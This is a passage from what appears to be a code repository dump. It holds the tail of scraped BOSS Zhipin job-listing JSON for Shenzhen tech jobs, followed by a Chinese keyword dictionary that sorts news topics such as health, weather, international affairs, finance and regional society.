"bossOnline": false, "encryptJobId": "82fdd7058a39b0e71X1-2NW9EVZY", "expectId": 92940501, "jobName": "服务器硬件维护人员", "lid": "1ITuGMdwQL2.search.28", "salaryDesc": "10-11K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "系统运维", "计算机相关专业", "通信相关专业" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "宝安区", "businessDistrict": "翻身", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 28, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1688113425000, "encryptBrandId": "68c96dbf2b08ba4a0XF_3d69EA~~", "brandName": "岚维", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/logo/20191113/ae12293a084d1e70b456bc1916f9e6f6467dd56eabb8c86ee24c90eb7e1ebce6.jpg", "brandStageName": "未融资", "brandIndustry": "计算机硬件", "brandScaleName": "0-20人", "welfareList": [ "交通补助", "餐补", "通讯补贴", "节日福利", "五险一金" ], "industry": 100022, "contact": false }, { "securityId": "zwwl4fGC2JJJm-M1II0jwlIggPpsdPeVXhVcbyUFY1MYILg4v3sycTcBoE4TO2XHVlRkFKnWzRdtc5gQCy4t6VLAcGEgq--U_elKjJTZecjcbuqBaLtlaEN3vOuE2UqX0KYb4U76k_Q~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20210831/607f1f3d68754fd05592783b452a21067a0409e2cc98f8bcd067271cd1f0164f57eaf045a3e5a600_s.jpg", "bossCert": 3, "encryptBossId": "16286f8c70dc14171nR-3dy-ElFT", "bossName": "张安娜", "bossTitle": "招聘", "goldHunter": 0, "bossOnline": false, "encryptJobId": "77515abd45661e311XN73tS-GVNS", "expectId": 92940501, "jobName": "中高级网络工程师", "lid": "1ITuGMdwQL2.search.29", "salaryDesc": "8-12K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "计算机相关专业", "网络运维经验", "网络安全相关经验", "H3C", "安全无线", "路由协议" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 29, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689744118000, "encryptBrandId": "adf91999be0d731b1nF439W0Fg~~", "brandName": "南京盛佳建业", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20180620/083f2c81bd6ffd4e1a508c8676ad5e2687061c9ec87a2d53b58a9e3424ee5c15.jpg", "brandStageName": "未融资", "brandIndustry": "通信/网络设备", "brandScaleName": "500-999人", "welfareList": [ "员工旅游", "定期体检", "加班补助", "带薪年假", "年终奖", "五险一金" ], "industry": 100024, "contact": false }, { "securityId": "RXWC_8bHmp_H3-t1V8-KA9P50i0AGLDuaR4dpy1Ds-Iu2a0VmhCuFPctFtIzUe3KwoAfksBRX9Zwk9IwY1Ul2w-cAP0_D-gZMngvfaAy7JfcafDff8w079vt3DePOMcyTKcZkD1kBQZt", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_6.png", "bossCert": 3, "encryptBossId": "53bb1b8eb87bb1dc0nN53N-1GVBZ", "bossName": "赵会军", "bossTitle": "技术部工程师", "goldHunter": 0, "bossOnline": false, "encryptJobId": "4718832ddda0d9161XJ42tW9FVZS", "expectId": 92940501, "jobName": "WMS系统接口开发", "lid": "1ITuGMdwQL2.search.30", "salaryDesc": "8-13K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "售前/售后技术支持", "MySQL/Oracle", "OMS/WMS/TMS支持经验", "配送中心" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 30, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1680870240000, "encryptBrandId": "128f975c39474f5e1nB73ty_E1Q~", "brandName": "卓佰", "brandLogo": "https://img.bosszhipin.com/beijin/icon/894ce6fa7e58d64d57e7f22d2f3a9d18afa7fcceaa24b8ea28f56f1bb14732c0.png", "brandStageName": "", "brandIndustry": "计算机服务", "brandScaleName": "0-20人", "welfareList": [], "industry": 100023, "contact": false } ] } }, { "code": 37, "message": "您的访问行为异常.", "zpData": { "name": "e04879c7", "seed": "5zgMIOWczPm/60LNJioQcM1CvF8MM8TviAStQ5F3bkw=", "ts": 1692192944199 } } ] ================================================ FILE: d-json/fenlei_pypt.json ================================================ { "人体健康": [ "发烧", "咳嗽", "牙刷", "生活", "提高", "发烧", "中毒", "预制", "牙膏", "洗头", "白头", "去屑", "洗垢", "消毒", "脱发", "去垢", "除垢", "蛋白", "蛋白质", "幽门螺旋杆菌", "螺旋杆菌", "杆菌", "菌", "预制菜", "降低", "百病", "生菜", "生肉", "寄生", "刺身", "螺蛳粉", "酸菜", "酸豆角", "酸萝卜", "清淡", "酸", "甜", "苦", "辣", "咸", "坛子菜", "鱼生", "钟南山", "盐水", "漱口", "洗脸", "洗漱", "洗澡", "冲凉", "鸡蛋", "寄生虫", "医治", "特效药", "疗效", "牛黄", "改善", "血清", "解毒", "硫磺", "加重", "感染", "饮食", "暴饮", "土方", "便方", "青霉素", "红花油", "风油精", "活络油", "云南白药", "白药", "牙龈", "红霉素", "头孢", "菌素", "阿莫西林", "甲硝唑", "氨苄西林", "庆大霉素", "克拉霉素", "环丙沙星", "对乙酰氨基酚", "复方氨酚烷胺片", "谷胱甘肽", "曲马多", "扑尔敏", "盐酸小檗碱片", "利巴韦林注射液", "美托洛尔", "厄贝沙坦", "利福平", "米诺环素", "维生素C片", "丹参", "金银花", "枸杞", "当归", "川芎", "甘草", "熟地黄", "黄连", "白术", "枳壳", "甘露聚糖", "牛磺酸", "硫辛酸", "盐酸左西替利嗪", "盐酸依托咪酯", "盐酸米力农", "丙酸西地那非片", "溴普利", "吲哚美辛", "盐酸二甲双胍", "乌鸡白凤丸", "冬虫夏草", "红参", "三七", "芦荟", "蝉蜕", "麦角胺", "异烟肼", "阿霉素", "多西环素", "罗西卡平", "甲磺酸氨氯地平", "硫酸氢氯吡格雷", "阿托伐他汀", "非洛地平", "贝前列素", "格列本脲", "二甲双胍", "苯磺酸氨氯地平", "氯苯那敏", "丙卡特罗", "倍他乐克", "盐酸多塞平", "口服", "补液", "液盐", "山茶碱", "盐酸", "氟桂利嗪", "乙哌立松", "左氧氟沙星", "地塞米松", "多潘立酮", "奥美拉唑", "雷贝拉唑", "尼美舒利", "盐酸氨溴索", "甲磺酸酚妥拉明", "特比萘芬", "厄贝沙坦氢氯噻嗪片", "呋辛", "克肟", "吡嗪酰胺", "左氨氯地平", "乙酰半胱氨酸", "注射用硫酸镁", "胰岛素", "广谱抗菌素", "酮康唑", "伏立康唑", "西替利嗪", "酮碘", "麝香", "保心丸", "聚乙二醇电解质散", "金刚烷胺", "多巴酚丁胺", "苗医", "神农", "藏医", "暴食", "中医", "西医", "西药", "中药", "断食", "轻食", "减轻", "治疗", "化疗", "胃炎", "超标", "正常", "致癌", "腹泻", "预防", "便秘", "生姜", "红糖", "痊愈", "癌症", "早熟", "樱桃", "有害", "甲醛", "药到病除", "包治百病", "违背祖宗的决定", "性早熟", "癌细胞", "头痛", "输液", "大蒜", "大葱", "自来水", "促进", "有助", "消化", "吸收", "纯净", "纯净水", "好处", "矿泉水", "狂犬病", "维生素", "脚气", "瘦", "胖", "肥", "足疗", "蒜", "胳膊", "服用", "服药", "吃药", "感冒", "橘子", "饮", "传播", "牙痛", "疫苗", "槟榔", "牙齿", "熬夜", "大米", "身体", "益寿", "锻炼", "晨跑", "疾病", "幽门螺杆菌", "消杀", "打药", "喝酒", "助眠", "农药", "化肥", "转基因", "好吃", "腊肉", "白酒", "葡萄酒", "列酒", "啤酒", "腌菜", "食品", "水果", "美容", "牛奶", "乳制品", "真菌", "霉菌", "氧气", "富氧水", "富氧", "电解质", "健力宝", "宝矿力", "蚂力健", "益生元", "益力多", "脑白金", "健康品", "脉动", "红牛", "补充", "水特", "耳鸣", "年轻", "安眠", "安眠药", "斑", "眼花", "药", "血压", "心脏病", "鼻腔", "口腔", "纯天然", "天然", "喉部", "血糖", "血脂", "血管", "腮腺", "唾液腺", "甲状腺", "甲状旁腺", "淋巴结", "脾脏", "胸腺", "肝脏", "胆囊", "尿毒症", "痴呆", "胰腺", "肾脏", "输尿管", "膀胱", "前列腺", "阴茎", "生殖腺", "输精管", "睾丸", "附睾", "输卵管", "直肠", "肛门", "眼球", "视神经", "眼外肌", "眼内肌", "晶状体", "玻璃体", "虹膜", "瞳孔", "视网膜", "听觉", "器官", "耳蜗", "鼓膜", "内耳", "前庭", "内耳", "半规管", "上皮", "结缔", "肌肉", "脂肪", "软骨", "骨组织", "神经", "淋巴", "内皮", "结节", "乳头", "柱状", "泡状", "间质", "上皮", "细胞", "栓细胞", "中风", "霉菌", "放屁", "肺炎", "哮喘", "鼻炎", "过敏", "糖尿病", "甲亢", "乳腺", "乳腺癌", "胆结石", "胆囊炎", "胰腺炎", "胰腺癌", "溃疡", "龋齿", "牙周炎", "骨折", "脱臼", "扭伤", "骨质", "风湿", "红斑", "狼疮", "脊柱炎", "关节炎", "祖传", "秘方", "贫血", "血栓", "白癜风", "银屑病", "偏方", "湿疹", "痘痘", "痤疮", "痘", "肾", "养肝", "护肝", "护心", "雀斑", "黄褐斑", "黑眼圈", "皮肤", "糖浆", "含片", "硫糖铝凝胶", "感冒灵颗粒", "氨酚烷胺", "对乙酰氨基酚", "退烧贴", "布洛芬缓释胶囊", "云南白药创可贴", "红霉素眼膏", "利巴韦林凝胶", "酮康唑霜", "酒精棉球", "碘伏", "七叶皂苷钠口腔溶液", "实际柚子口服液", "维生素B", "维生素C", "泡腾片", "阿莫西林胶囊", "金嗓子", "喉片", "金银花", "板蓝根颗粒", "葡萄糖酸钙口服溶液", "鱼肝油软胶囊", "蒙脱石散", "肝炎", "眼药", "珍菊蓝花止痛贴", "氢氧化铝咀嚼片", "脑立清注射液", "碳酸氢钠口服溶液", "阿莫西林克拉维酸钾片", "头孢克肟注射液", "七孔水宝胶囊", "参茸口服液", "膏药", "丹参滴丸", "阿奇霉素胶囊", "硫酸软骨素片", "复方鱼肝油胶囊", "盐酸伪麻黄碱口服液", "痔疮", "何首乌", "口服液", "利巴韦林", "注射液", "马应龙", "二甲双胍", "缓释片", "青果丹", "止疼", "感冒灵", "颗粒", "胶囊", "中药膏药", "软胶囊", "卡托普利片", "葡萄糖", "酸钙", "野菊花", "止咳", "桂枝", "茯苓", "口胶", "孟鲁司特钠", "溶液", "复方", "甘草片", "甲氧氯普胺", "蛤蚧", "定喘片", "氯雷他定", "硝酸甘油", "香雪美龙", "扶他林氨溴索", "氟康唑软胶囊", "维生素E软胶囊", "参苏颗粒", "达克宁栓", "达克宁", "阿莫西林颗粒", "硝酸咪康唑乳膏", "伤风停胶囊", "红霉素软膏", "炫民凉油", "安乃近散", "复方川芎嗪片", "养血活络口服液", "蒙脱石散胶囊", "马来酸曲美布汀胶囊", "聚乙二醇电解质散", "劳拉西泮片", "对乙酰氨基酚颗粒", "枸橼酸喷托维林片", "乳果糖口服液", "肠炎宁", "绞股蓝口服液", "橙皮丹参口服液", "克霉唑糖浆", "盐酸氨溴索口服液", "复方草珊瑚含片", "利巴韦林针", "喜多乐片", "普通维生素B族片", "脑心通胶囊", "麝香保心丸", "抗病毒口服液", "治疗糖尿病口服液", "丁桂儿科颗粒", "奥美拉唑肠溶片", "多西环素", "甲硝唑口服片", "左炔诺孕酮炔雌醇片", "泰诺林", "联苯双酯", "消炎", "瘙痒", "头皮屑", "皮炎", "鱼肝油", "膏药", "凉茶", "脱发", "肝癌", "肠癌", "胃癌", "抗生素", "添加剂", "防腐剂", "皮炎平", "皮康王", "皮康霜", "皮炎", "食道癌", "直肠癌", "前列腺癌", "肺癌", "癌", "鼻咽癌", "宫颈癌", "卵巢癌", "子宫癌", "膀胱癌", "淋巴癌", "白血病", "结石", "失禁", "不育", "不孕", "月经", "肌瘤", "囊肿", "子宫颈", "息肉", "增生", "阳痿", "早泄", "乙肝", "丙肝", "梅毒", "湿疣", "淋病", "艾滋病", "结核病", "肝炎", "腮腺炎", "麻疹", "水痘", "风疹", "风团", "自闭症", "多动症", "弱视", "青光眼", "白内障", "斜视", "近视", "远视", "散光", "病变", "眩晕", "偏头痛", "失聪", "帕金森", "阿尔茨海默", "脑梗塞", "脑出血", "癫痫", "脑肿瘤", "神经衰弱", "多发性硬化", "肺结核", "肺气肿", "支气管", "健康", "支气管炎", "气管", "长寿", "长生", "养生", "活血", "益气", "智力", "体格", "长高", "发胖", "衰老", "气管炎", "肺病", "米饭", "面条", "馒头", "包子", "饺子", "炒面", "烩面", "小笼包", "生煎包", "油条", "豆浆", "吃", "奶茶", "咖啡", "绿茶", "红茶", "减肥", "乌龙茶", "白开水", "食物", "矿泉水", "可乐", "雪碧", "橙汁", "苹果汁", "柠檬水", "苹果", "西瓜", "葡萄", "果汁", "柠檬", "喝", "拉稀", "窜稀", "酸奶", "羊奶", "芝士", "黄油", "面包", "鸡蛋", "羊肉", "鸡肉", "鸭肉", "鱼肉", "虾", "蟹", "叉烧", "烤鸭", "炸鸡", "火锅", "涮羊肉", "涮牛肉", "麻辣烫", "披萨", "汉堡", "炸鱼", "薯条", "川菜", "粤菜", "湘菜", "东北菜", "自助餐", "快餐", "家常菜", "冰淇淋", "布丁", "蛋糕", "月饼", "煎饼", "果子", "炒饭", "炒菜", "黄豆芽", "豆腐脑", "豆腐", "臭豆腐", "涼皮", "凉拌菜", "糖醋", "排骨", "红烧肉", "回锅肉", "鸡丁", "糖醋鱼", "清蒸鱼", "四季豆", "青椒", "水饺", "馄饨", "混沌", "龙虾", "猪血", "鸭血", "牛尿", "牛屎", "鸡血", "飞饼", "拉面", "海鲜", "牛排", "羊排", "猪排", "肉丸", "肉串", "火腿", "培根", "香肠", "烤肉", "烧鹅", "烤麸", "金针菇", "蛋包饭", "煎鸡蛋", "刀削面", "蒸蛋", "滋补汤", "猪蹄", "炸薯条", "油焖大虾", "鸭脖", "鸭舌", "鸭腿", "牛肉汤", "清真", "鸭血", "水煮", "肉片", "板蓝根", "麻辣", "拼盘", "酸汤", "肥牛", "糖蒸", "鲤鱼", "香蕉", "梨", "橘子", "草莓", "猕猴桃", "榴莲", "蓝莓", "菠萝", "桃子", "芒果", "椰子", "柚子", "圣女果", "火龙果", "李子", "荔枝", "车厘子", "红提子", "青提子", "樱桃", "哈密瓜", "甜瓜", "蜜瓜", "木瓜", "橙子", "早餐", "中餐", "腐乳", "晚餐", "柠檬茶", "柿子", "百香果", "龙眼", "蒟蒻", "山竹", "金枕榴", "山楂", "无花果", "枇杷", "杏", "梅子", "柑橘", "青柠", "银杏果", "山桃", "枸杞子", "菠萝蜜", "番石榴", "莲雾", "杨梅", "杨桃", "木耳果", "沙棘", "金桔", "蛇果", "黑布林", "白刺绣球", "红毛丹", "红香蕉", "牛油果", "橄榄", "山楂片", "红枣", "枸桔", "莓子", "桑葚", "黄杨果", "梭梭果", "冬枣", "桂圆", "柚子茶", "莲子", "枳壳", "乌梅", "酸角", "秋葵", "酪梨", "盐", "酱油", "味精", "醋", "糖", "花椒", "八角", "辣椒粉", "孜然", "姜", "蒜", "洋葱", "牛肉粉", "鸡精", "虾皮", "豆瓣酱", "香菇精", "五香粉", "料酒", "阿巴斯甜", "酵母粉", "干辣椒", "干姜", "干葱", "干蒜", "排骨汤料", "老干妈", "麻油", "面酱", "杏仁", "胡椒", "胡椒粉", "生抽", "老抽", "鱼油", "乌鸡", "芡实", "桂圆干", "龙眼肉", "酵素", "核桃仁", "鸡粉", "鸭粉", "虾米", "墨鱼汁", "松露油", "蛤蜊汤料", "水果醋", "蚝油", "黄豆酱", "豆芽酱", "肉桂粉", "孜然籽", "香菜", "酸辣酱", "柠檬汁", "橄榄油", "甜面酱", "辣豆瓣酱", "玫瑰花瓣", "川芎", "丁香", "薄荷", "胡椒叶", "拌面酱", "罗汉果", "鲍汁", "天麻", "白术", "砂仁", "茴香", "橘皮", "葱油", "芝麻酱", "豆角酱", "海带芽", "葱姜", "蒜泥", "香油", "熟黄酱", "泡菜", "西红柿", "沙司", "蒸鱼", "豉油", "咖喱", "陈醋", "辣椒", "底料", "芝麻油", "芝麻", "凤爪", "调料", "蘑菇", "冰糖", "鱼露", "腌蚝", "鲍鱼汁" ], "气象灾害":[ "寒冷", "温热", "湿润", "干燥", "潮湿", "阴沉", "晴朗", "雨天", "虫灾", "雨灾", "旱灾", "冰灾", "雪灾", "虫雨", "旱情", "蚂灾", "蝗灾", "鼠患", "鼠灾", "蟑螂", "晴天", "阴天", "多云", "闷热", "凉爽", "酷热", "寒意逼人", "雾霾", "霜冻", "风大", "风和日丽", "暴雪", "雪", "冰雹", "雷暴", "冰冻", "刺骨的", "炎热的", "舒适的", "闷热的", "寒冷的", "地震", "冰灾", "洪水", "泛滥", "龙卷风", "烈日", "肆虐", "暴雨", "倾盆", "大雪", "封山", "山洪", "台风", "干旱", "荒漠", "海啸", "滑坡", "沙尘暴", "雷电交加", "森林", "寒冰", "火山", "狂风暴雨", "河流", "龙卷风", "泥石流", "飓风", "旱灾", "洪水", "风暴", "冰川", "浓雾", "地陷", "水淹", "漫天黄沙", "倾泻", "极度", "日食", "月食", "春分", "秋分", "夏至", "冬至", "雷雨", "雾霾", "冰雹", "彩虹", "闪电", "极光", "日出", "日落", "晨露", "霜冻", "雾气", "雾凇", "雪景", "雪崩", "冰川", "瀑布", "溪流", "河流", "湖泊", "海浪", "海啸", "潮汐", "海星", "珊瑚", "低温", "蓝洞", "荒漠", "沙丘", "沙漠风暴", "沙尘暴", "火山", "热泉", "温泉", "岩浆", "地震", "地质", "地壳", "海底扩张", "板块运动", "塔山", "格陵兰", "冰盖", "南极洲", "北极星", "银河系", "恒星", "黑洞", "行星", "卫星", "彗星", "流星", "太阳系", "太阳", "赤道", "望远镜", "卫星观测", "风暴云", "云海", "小气候", "气旋", "龙卷风", "暴雨", "雷阵雨", "台风", "气象雷达", "人工降雨", "降雨", "气象探测", "天气预报", "气象卫星", "气象球", "气象学家", "气象仪器", "气象站", "气象", "冷锋", "暖锋", "等压线", "高空急流", "自转", "公转", "地球", "地磁场", "环境", "全球", "变暖", "生态系统", "生物", "多样性", "自然", "保护区", "野生", "动物", "濒危", "物种", "环保意识", "环保组织", "绿色出行", "碳排放", "二氧化碳", "温室效应", "温室", "气候变化" ] , "国际": [ "美方", "美媒", "白宫", "乌军", "参会", "被俘", "大选", "护照", "军援", "内政", "俘虏", "当局", "公民", "领土", "G4", "G5", "乌", "决议", "复议", "G7", "俄乌冲突", "武力", "两国", "登月", "国际", "多边", "截获", "联军", "投射", "发射", "美欧", "欧美", "武器", "射杀", "乌干达", "现场", "领事", "移交", "两军", "声明", "泽连斯基", "连斯基", "斯基", "坠毁", "杀戮", "边防", "军国", "自卫", "泰国", "哥本哈根", "斯里兰卡", "巴厘岛", "津巴布韦", "领袖", "跨国", "侦察", "悉尼歌剧院", "塞纳河", "坦桑尼亚塞伦盖蒂", "斜塔", "古罗马竞技场", "富士山", "长城", "埃菲尔铁塔", "自由女神像", "金门大桥", "伦敦塔桥", "巴黎圣母院", "狮身人面像", "基督救世堂", "白金汉宫", "布拉格城堡", "珍珠港", "清明上河图", "泰姬陵", "圣彼得堡", "冰川列车", "十二使徒岩", "故宫博物院", "卢浮宫博物馆", "埃及金字塔", "帝国大厦", "古城吴哥窟", "克里姆林宫", "圣家族大教堂", "托斯卡纳", "联合国总部大楼", "巨石阵", "马丘比丘", "克拉库纳火山", "罗马竞技场", "尼亚加拉大瀑布", "东京塔", "北海道", "威尼斯", "科隆", "圣马可", "乌布", "波斯波利斯", "爱琴海", "洛克菲勒中心", "新西兰皇后镇", "拉特维亚国家歌剧院", "摩纳哥蒙特卡罗", "垃圾山", "斯德哥尔摩", "文化人类学博物馆", "美国大峡谷", "帕劳群岛", "安娜普尔那", "荷兰风车村", "罗托鲁瓦地热", "挪威芬克宫殿", "悉尼海港大桥", "佩特拉", "牛津大学", "伊斯坦布尔", "喀纳斯", "凯旋门", "阿姆斯特丹", "自由女神", "日本富士山", "迪拜塔", "哈瓦那", "大本钟", "奇琴伊察", "南极洲", "塞班岛", "美国自由女神像", "下龙湾", "鱼尾狮", "布宜诺斯艾利斯", "纽约自由女神像", "爱丁堡", "温莎城堡", "蓝湖", "海洋生物馆", "少女峰", "阿尔泰山脉", "加勒比", "清教", "穆斯林", "教会", "教皇", "基督教", "百慕大", "中美", "中俄", "中印", "中巴", "中韩", "中欧", "美俄", "美英", "俄", "梅德韦杰夫", "俄米", "美日", "印巴", "巴西", "俄土", "俄乌", "德法", "意法", "英法", "德国", "窜台", "法国", "英国", "朝鲜", "蒙古国", "美国", "恐怖主义", "驻非", "英属", "美属", "演变", "伊朗", "以色列", "巴勒斯坦", "叙利亚", "土耳其", "阿拉伯", "阿富汗", "中东", "南非", "苏丹", "阿根廷", "澳大利亚", "奥地利", "孟加拉国", "白俄罗斯", "比利时", "贝宁", "玻利维亚", "保加利亚", "孟加拉", "加拿大", "智利", "哥伦比亚", "刚果共和国", "古巴", "捷克", "丹麦", "多米尼加共和国", "厄瓜多尔", "埃及", "萨尔瓦多", "英格兰", "芬兰", "加纳", "希腊", "危地马拉", "几内亚", "海地", "洪都拉斯", "匈牙利", "冰岛", "印度", "印度尼西亚", "伊拉克", "爱尔兰", "意大利", "牙买加", "日本", "约旦", "哈萨克斯坦", "肯尼亚", "科索沃", "科威特", "吉尔吉斯斯坦", "老挝", "拉脱维亚", "黎巴嫩", "利比里亚", "利比亚", "立陶宛", "卢森堡", "马其顿", "马达加斯加", "马来西亚", "马里", "墨西哥", "摩尔多瓦", "摩洛哥", "缅甸", "纳米比亚", "尼泊尔", "荷兰", "新西兰", "尼日尔", "尼日利亚", "北朝鲜", "挪威", "巴拿马", "巴拉圭", "秘鲁", "波兰", "葡萄牙", "波多黎各", "卡塔尔", "罗马尼亚", "沙特阿拉伯", "塞内加尔", "塞尔维亚", "塞拉利昂", "新加坡", "斯洛伐克", "斯洛文尼亚", "索马里", "韩国", "西班牙", "瑞典", "越南", "霸权", "驻加", "驻美", "驻军", "展出", "台湾", "中华民国", "流亡", "达赖", "法轮功", "悉尼", "迪拜", "墨尔本", "政变", "驻韩", "驻日", "暴动", "博物馆", "俄罗斯", "乌克兰", "美日韩", "台美", "美台", "俄军", "前线", "人造", "阵地", "危机", "双边", "放宽", "塔利班", "暗杀", "屠杀", "镇压", "卢浮宫", "时报", "电讯", "邮报", "新华", "人民网", "京都", "东京", "冲绳", "中日", "驻华", "国台办", "阿拉斯加", "名画", "遭袭", "沙利文", "中非", "非洲", "马六甲", "海峡", "苏伊士", "行政院", "北极", "华尔街", "华人", "华侨", "阿联酋", "夏威夷", "多伦多", "驻菲", "驻印", "文物", "出警", "纽约", "日裔", "侨胞", "北约", "联合国", "军事", "演习", "陆战", "空降", "金门", "台北", "台南", "新竹", "三重", "反叛", "罢工", "外交官", "空袭", "南美", "韩裔", "台胞", "台海", "两岸", "台媒", "高度", "中马", "蔡英文", "外媒", "部队", "外交部", "部长", "战略", "合作", "基辅", "大使馆", "国宝", "内阁", "拜相", "种族", "非裔", "获释", "独裁", "法西斯", "共赢", "领导人", "会晤", "间谍", "中南海", "装甲", "东瀛", "边境", "难民", "殃及", "战斗机", "领空", "领海", "南海", "巡洋", "商议", "群岛", "诸岛", "911", "五角大楼", "保释", "各国", "诸国", "打造", "万国", "南朝鲜", "击穿", "狙击", "暴民", "威慑", "民愤", "征兵", "金正恩", "乌方", "冲突", "袭击", "目击", "外交", "组织", "南沙群岛", "特拉斯", "佩洛西", "元帅", "两弹", "元首", "师长", "访台", "菲律宾", "北非", "飞地", "国中国", "梵蒂冈", "莫斯科", "东非", "西非", "东欧", "西欧", "北欧", "旧金山", "格林兰岛", "巴以冲突", "导火索", "北溪", "切尔诺贝利", "王毅", "耶伦", "东盟" ], "财经": [ "市值", "股价", "海域", "增长", "股权", "周小川", "央行", "交易", "行长", "收购", "首钢", "招商", "湿地", "大户", "财新", "放牧", "半数", "基准", "每升", "每克", "美债", "熔断", "增持", "行情", "行业", "挂牌", "停牌", "吊销", "20%", "90%", "80%", "1%", "%", "成立", "集约", "清仓", "燃油", "城投", "荒漠", "利率", "胚胎", "评估", "评级", "水田", "郭台铭", "捕鱼", "资金", "杂交", "引资", "转型", "林业", "蔚来", "小鹏", "智造", "因子", "A股", "机器", "工业", "鸿海", "富士康", "推特", "红米", "蓝图", "一汽", "化工", "制造", "低端", "雷军", "联想", "电动车", "欧盟", "小米", "华为", "马斯克", "特斯拉", "比亚迪", "腾讯", "vivo", "科普", "oppo", "一加", "余承东", "爱奇艺", "阅文", "蚕业", "水稻", "小麦", "油菜籽", "畜牧", "中药", "西药", "蜂农", "蜂业", "罐头", "水产", "海藻", "栽培", "鸭养", "食用", "益生菌", "鹅养", "禽肉", "物流", "供应链", "豆制品", "虫草", "茶油", "化肥", "甘蔗", "花卉", "关键期", "港口", "免税", "配种", "并购", "种植", "同期", "合资", "设厂", "储汇", "储值", "抛售", "熊市", "牛市", "院士", "加息", "内耗", "做空", "减息", "经济学", "一桶", "深股", "加仓", "达沃斯", "经贸", "万亿级", "冲击", "电芯", "产能", "产业", "失范", "失衡", "纳斯达克", "深交所", "港股", "沪深", "上交所", "紧缩", "外汇", "开盘", "盎司", "贬值", "智库", "劳资", "芯片", "库克", "存储", "合算", "分析", "预测", "收盘", "缩水", "减持", "持股", "买入", "储蓄", "降幅", "上市", "美联储", "日经", "增值", "经合", "养殖", "讯飞", "安恒", "终端", "核算", "分类", "计算", "排放", "跌停", "证券", "交易所", "GDP", "财经", "股神", "散户", "巴菲特", "芒格", "旺季", "淡季", "按揭", "世贸", "培育", "外资", "李书福", "拱火", "烧钱", "抽检", "滑铁卢", "保险", "理财", "收益", "股份", "入股", "出资", "通胀", "财商", "韭菜", "人民币", "购车", "B股", "培养", "领英", "小红书", "汇总", "余额", "中信", "回购", "股票", "控股", "ST", "拟减", "额度", "期货", "扫货", "同比", "新台币", "国资", "茅台", "曹德旺", "房产", "房地产", "总计", "国债", "交易", "投资", "贸易", "花呗", "健康", "金融", "美元", "世博会", "药业", "低谷", "寒武纪", "合计", "存款", "上涨", "下滑", "下跌", "断崖", "资本", "入局", "指数", "利润", "大幅", "库存", "杠杆", "精密", "电池", "光伏", "超充站", "加油站", "油价", "幅度", "业务", "限速" ], "社会": [ "福建", "三明", "南平", "厦门", "宁德", "泉州", "关闭", "漳州", "福州", "检测", "燃放", "头发", "烟花", "爆竹", "教培", "推广", "指标", "天赋", "下载", "限制", "录取", "游泳", "场所", "公共", "公交", "录用", "聘用", "天气", "聘请", "工厂", "毒株", "莆田", "预约", "采样", "中国", "微博", "岗位", "抖音", "快手", "头条", "热搜", "美团", "国营", "私有", "民营", "集团", "男孩", "女孩", "龙岩", "贵州", "离婚", "六盘水", "离婚率", "身份", "省份", "省会", "轻生", "商讨", "前兆", "磋商", "修复", "删除", "安顺", "毕节", "贵阳", "遵义", "限行", "铜仁", "黔东南", "黔南", "黔西南", "上海", "浦东", "虹口", "金山", "长宁", "闵行", "闸北", "青浦", "静安", "黄浦", "嘉定", "奉贤", "宝山", "崇明", "徐汇", "普陀", "杨浦", "松江", "湖南", "娄底", "岳阳", "常德", "张家界", "怀化", "株洲", "永州", "湘潭", "湘西", "益阳", "衡阳", "邵阳", "郴州", "长沙", "湖北", "仙桃", "十堰", "咸宁", "天门", "孝感", "宜昌", "恩施", "武汉", "潜江", "荆州", "荆门", "襄阳", "鄂州", "随州", "黄冈", "黄石", "神农架", "广东", "东莞", "中山", "云浮", "佛山", "广州", "惠州", "揭阳", "梅州", "汕头", "汕尾", "江门", "河源", "深圳", "清远", "湛江", "潮州", "珠海", "肇庆", "茂名", "阳江", "韶关", "四川", "乐山", "内江", "凉山", "南充", "宜宾", "巴中", "广元", "广安", "德阳", "成都", "攀枝花", "泸州", "甘孜", "眉山", "绵阳", "自贡", "资阳", "达州", "遂宁", "阿坝", "雅安", "安徽", "亳州", "六安", "合肥", "安庆", "宣城", "宿州", "池州", "淮北", "淮南", "滁州", "芜湖", "蚌埠", "铜陵", "阜阳", "马鞍山", "黄山", "江苏", "南京", "南通", "宿迁", "常州", "徐州", "扬州", "无锡", "泰州", "淮安", "盐城", "苏州", "连云港", "镇江市", "新疆", "乌鲁木齐市", "伊犁", "克孜勒苏柯尔克孜", "克拉玛依", "博尔塔拉", "吐鲁番", "和田", "哈密", "喀什", "塔城", "巴音郭楞", "昌吉", "石河子", "阿克苏", "阿勒泰", "阿拉尔", "图木舒克", "五家渠", "吉林", "四平", "延边", "松原", "白城", "白山", "辽源", "通化", "长春", "河南", "三门峡", "信阳", "南阳", "周口", "商丘", "安阳", "平顶山", "开封", "新乡", "洛阳", "济源", "漯河", "濮阳", "焦作", "许昌", "郑州", "驻马店", "鹤壁", "河北", "保定", "唐山", "廊坊", "张家口", "承德", "沧州", "石家庄", "秦皇岛", "衡水", "邢台", "邯郸", "西藏", "山南", "拉萨", "日喀则", "昌都", "林芝", "那曲", "阿里", 